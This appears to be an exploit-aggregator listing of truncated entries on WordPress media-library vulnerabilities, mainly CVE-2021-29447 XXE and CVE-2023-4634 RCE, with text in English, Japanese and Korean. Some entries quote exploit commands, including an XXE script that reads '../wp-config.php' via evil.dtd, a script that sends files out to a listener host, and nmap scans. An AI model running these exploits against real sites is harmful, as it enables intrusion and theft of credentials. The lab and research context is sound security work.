WordPress Media Library Assistant <= 3.34 - SQL Injection

David Lingren Media Library Assistant = 3.34 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input. id: CVE-2026-34885 info: name: WordPress Media Library Assistant = 3.34 -...

Media Library Assistant < 2.82 - Unauthenticated Limited Local File Inclusion

Media Library Assistant plugin for WordPress before 2.82 contains a local file inclusion caused by unsanitized mlagallery link parameter, letting attackers include arbitrary local files, exploit requires access to the vulnerable link. id: CVE-2020-11732 info: name: Media Library Assistant 2.82 -...

CVE-2023-4634

CVE-2023-4634 WordPressプラグインMedia-Library Plugin 3.10 のRCEエクスプロイト CVE-2023-4634 Info Patrowlは、Media-Librairy-Assistant WordPressプラグインのバージョン3.10未満において、認証を必要としないRCE脆弱性を発見しました。 このエクスプロイトは簡単ではなく、以下に説明する少しの設定が必要です。 エクスプロイトの発見と悪用の詳細はブログでご覧いただけます:...

CVE-2022-32114

Strapi v4.1.12 脆弱性の説明: Strapi v4.1.12 の「Add New Assets」機能における無制限ファイルアップロードの脆弱性により、攻撃者は細工されたファイルを介して任意のコードを実行できます。 攻撃ベクトル: 悪意のあるコンテンツを含むファイルをアップロードした後、ユーザーがファイルへのリンクを開くと、それが実行されます。 ペイロード: https://github.com/bypazs/GrimTheRipper/blob/main/GrimTheRipperTeam.pdf テスト環境: 1. Strapi バージョン 4.1.12 2. Googl...

blind-xxe-controller-CVE-2021-29447

ブラインドXXEコントローラー このコントローラーは、HackTheBoxのmetatwoマシンでCVE-2021-29447を悪用するために作成しました。CVE-2021-29447は、メディアライブラリにおけるWordPressのXXE脆弱性で、バージョン5.7、5.6.2、5.6.1、5.6、5.0.11に影響します。メディアライブラリにアップロードできる認証済みユーザーが悪意のあるwavファイルをアップロードすると、リモートからの任意ファイル読み取りやサーバーサイドリクエストフォージェリSSRFにつながる可能性があります。...

CVE-2026-89055

The Customer Reviews for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.120.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to...

Media Library Assistant < 3.09 - Remote Code Execution/Local File Inclusion

A vulnerability in the Wordpress Media-Library-Assistant plugins in version 3.09 is vulnerable to a local file inclusion which leading to RCE on default Imagegick installation/configuration. id: CVE-2023-4634 info: name: Media Library Assistant 3.09 - Remote Code Execution/Local File Inclusion...

CVE-2021-29447

CVE-2021-29447 - WordPress XXE脆弱性エクスプロイト 説明 このリポジトリには、WordPress 5.7.0以前のバージョンに存在するXXE（XML External Entity）脆弱性CVE-2021-29447のエクスプロイトが含まれています。この脆弱性はWAVファイルを処理するメディアライブラリに存在し、攻撃者がサーバー上の任意のファイルを読み取ることを可能にします。 要件 Bash Python 3 Docker および Docker Compose（テスト環境を立ち上げるため） 脆弱なWordPressサーバー（5.7.0以下） ファイル...

Public_Exploit-1--Wordpress-CVE-2021-29447

PublicExploit-1--Wordpress-CVE-2021-29447 CVE-2021-29447は、WordPressにおける認証済みXML外部エンティティ（XXE）脆弱性です この脆弱性は、WordPressがPHP 8上で動作しており、ユーザーがメディアファイルをアップロードする権限を持っている場合に、WordPressのメディアライブラリに存在します。細工された.wavファイルにより、WordPressが悪意のあるXMLを処理し、外部エンティティを解決する可能性があります。 これは以下につながる可能性があります: ● 任意ファイルの開示 —...

cve-2021-29447_auto-script

CVE-2021-29447: WordPressメディアライブラリXXE脆弱性 このリポジトリは、WordPressのメディアライブラリを通じて認証済みXML外部実体（XXE）攻撃を可能にした深刻なセキュリティ上の欠陥であるCVE-2021-29447の詳細を提供します。また、概念実証（PoC）を示す自動スクリプトも提供します。 📌 脆弱性の概要 この脆弱性は、アップロードされたオーディオファイル内のメタデータを処理する際のWordPressの実装に存在しました。具体的には: 根本原因:...

CVE-2021-29447

CVE-2021-29447 WordPress 5.6-5.7 PHP 8+ の認証済みXXEインジェクションを悪用するPOCです。このCVEの詳細はこちら 使用例 XXEインジェクションに対して脆弱なメディアライブラリを持つWordPressサイトをホストするHackTheBoxのMetaTwoマシンに対する使用例です。 root@kitploit: python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w filewordlist 使い方...

CVE-2021-29447-PoC

CVE-2021-29447 개념 증명 root@kitploit: ╔═╗╦ ╦╔═╗ ║ ╚╗╔╝║╣────2021-29447 ╚═╝ ╚╝ ╚═╝ Written By Isa Ebrahim - 0xRar on January, 2023 ═══════════════════════════════════════════════════════════════════════════ Title: Wordpress XML parsing issue in the Media Library leading to XXE Affected versions:...

wordpress-cve-2021-29447

WordPress CVE-2021-29447 エクスプロイト WordPress Media Library XML の認証済み External Entity Injection XXE を悪用して、ファイルを外部に持ち出します。 WordPress 5.7.1 で修正されました。 Media Library を操作するには有効な WordPress 認証情報が必要です。 使用方法 root@kitploit: python3 wordpress-cve-2021-29447.py -l http://LOCALIP:PORT -r http://WORDPRESSURL -u...

CVE-2021-29447

CVE-2021-29447 PoC このリポジトリには、WordPress 5.6 および 5.7 （PHP 8 使用時）に影響を与える CVE-2021-29447 脆弱性のための 概念実証（PoC） エクスプロイトが含まれています。このエクスプロイトは、アップロード権限を持つ攻撃者がメディアライブラリのXML解析の脆弱性を悪用し、XXE（XML External Entity）攻撃を引き起こし、結果としてターゲット環境からローカルファイルを外部に流出させる方法を示しています。 ⚠️ 免責事項 このプロジェクトは、教育、研究、および許可されたセキュリティテスト...

CVE-2021-29447

WordPress XXE 脆弱性 : CVE-2021-29447 悪意のあるWAVEファイル（例：作成者）をアップロードできるユーザーは、WordPressのメディアライブラリでXML解析の問題を悪用し、XXE攻撃を引き起こす可能性があり、ファイルシステムの開示につながる可能性があります。 脆弱なコード XML External Entity XXE 脆弱性 XMLでは、ドキュメント全体で再利用可能なカスタムエンティティを定義できます。これは、例えば重複を避けるために使用できます。 以下のコードは、後で使用するためにエンティティ myEntity を定義しています。...

CVE-2023-4634-PoC

CVE-2023-4634 - WordPressプラグインMedia Library AssistantのRCE脆弱性 1. 環境の構築と起動 root@kitploit: cd Stand docker-compose up --build -d 2. サービスの起動待機60秒 root@kitploit: sleep 60 curl -I http://localhost:8080 3. 脆弱性スキャンの実行 root@kitploit: cd ../PoC/src python3 scanner.py http://localhost:8080 4. RCEの手動テスト...

Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

プロジェクト目標: 脆弱なWordPressインストールに対する完全な攻撃チェーンを実証し、CVE-2021-29447（メディアライブラリのXXE）を悪用してリモートコード実行と完全なシステム侵害を達成すること。 フェーズ1: 偵察と列挙 Nmapによるネットワークスキャン: bash Quick SYN scan to discover open ports nmap -sS -T4 10.201.3.95 Detailed version and script scanning nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initialsca...

CVE-2021-29447

CVE-2021-29447 WordPress 5.6-5.7 - 認証済み（Author+）XXE https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/ 使用方法: -l LHOST 例: 127.0.0.1 -n NAME 例: payload.wav -dn DTDNAME 例: evil.dtd -r READ 例: ../wp-config.php evil-wav-dtd-xxe.py: error: the following arguments are required:...

CVE-2026-15004 FileBird – WordPress Media Library Folders & File Manager <= 6.5.6 - Authenticated (Author+) Stored Cross-Site Scripting

The FileBird – WordPress Media Library Folders & File Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image alt text in all versions up to, and including, 6.5.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated...

CVE-2026-15004: Improper Neutralization of Input During Web Page Generation

The FileBird – WordPress Media Library Folders & File Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image alt text in all versions up to, and including, 6.5.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated...